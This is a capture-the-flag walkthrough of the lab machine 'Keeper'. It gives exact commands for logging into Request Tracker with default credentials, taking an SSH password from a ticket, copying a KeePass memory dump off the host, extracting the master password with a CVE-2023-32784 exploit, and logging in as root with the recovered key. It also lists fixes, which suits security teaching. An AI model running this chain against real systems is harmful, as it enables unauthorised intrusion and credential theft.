Keeper
Summary
I browsed to a Request Tracker support portal that was still running factory-default credentials, logged in as the built-in administrator, and found a plain-text employee SSH password recorded inside a ticket note. That password gave an interactive shell on the server.
The user's home directory held a KeePass database alongside a process memory dump; CVE-2023-32784 recovered the master password character by character from the dump. The unlocked database contained the system administrator's PuTTY-format private SSH key, which I converted and used to log in as root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Identify open ports and banner-grab service versions.
$ nmap -sC -sV -p 22,80,443,8080 $TARGETMap the virtual-host name used by the RT web application.
$ echo "$TARGET keeper.htb tickets.keeper.htb" >> /etc/hostsExact commands 2
Authenticate with the default RT admin credentials; a 302 redirect confirms success.
$ curl -v -c /tmp/rt_cookies.txt -X POST 'http://tickets.keeper.htb/rt/NoAuth/Login.html' -d 'user=root&pass=password&next='List all tickets as the authenticated admin.
$ curl -b /tmp/rt_cookies.txt 'http://tickets.keeper.htb/rt/Search/Results.html?Query=id+%3E+0&OrderBy=id&Order=DESC&RowsPerPage=50'FixChange all default application credentials immediately after deploymentCritical
Exact commands 1
Open the ticket containing the plaintext credential; adjust the ticket ID by browsing the RT queue first.
$ curl -b /tmp/rt_cookies.txt 'http://tickets.keeper.htb/rt/Ticket/Display.html?id=300000'FixNever record passwords in ticket notes or other plain-text collaboration toolsHigh
Exact commands 1
Confirms foothold, enumerates home directory, and reads the user flag (<user.txt>).
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 lnorgaard@$TARGET 'id; hostname; pwd; ls -la ~; cat /home/lnorgaard/user.txt'
uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard)Exact commands 3
Download the memory dump and KeePass database to my machine.
$ sshpass -p "$PASSWORD2" scp -o StrictHostKeyChecking=no lnorgaard@$TARGET:'/home/lnorgaard/KeePassDumpMinimal.dmp /home/lnorgaard/RT.kdbx' ~/keeper/Run the CVE-2023-32784 PoC (vdohney/keepass-password-dumper on GitHub); outputs candidate master password characters, e.g. <withheld>.
$ cd /opt/keepass-password-dumper && dotnet run ~/keeper/KeePassDumpMinimal.dmpOpen the database with the recovered master password; navigate entries to locate the root SSH key in the Notes field.
$ kpcli --kdb ~/keeper/RT.kdbx --pass "$PASSWORD"FixUpgrade KeePass to 2.54+ and remove all process memory dump files (CVE-2023-32784)Critical
Exact commands 2
Convert the PuTTY private key to OpenSSH format and restrict its permissions.
$ puttygen ~/keeper/root.ppk -O private-openssh -o ~/keeper/root_id_rsa && chmod 600 ~/keeper/root_id_rsaAuthenticate as root and read the root flag (<root.txt>).
$ ssh -i ~/keeper/root_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 root@$TARGET 'id; cat /root/root.txt'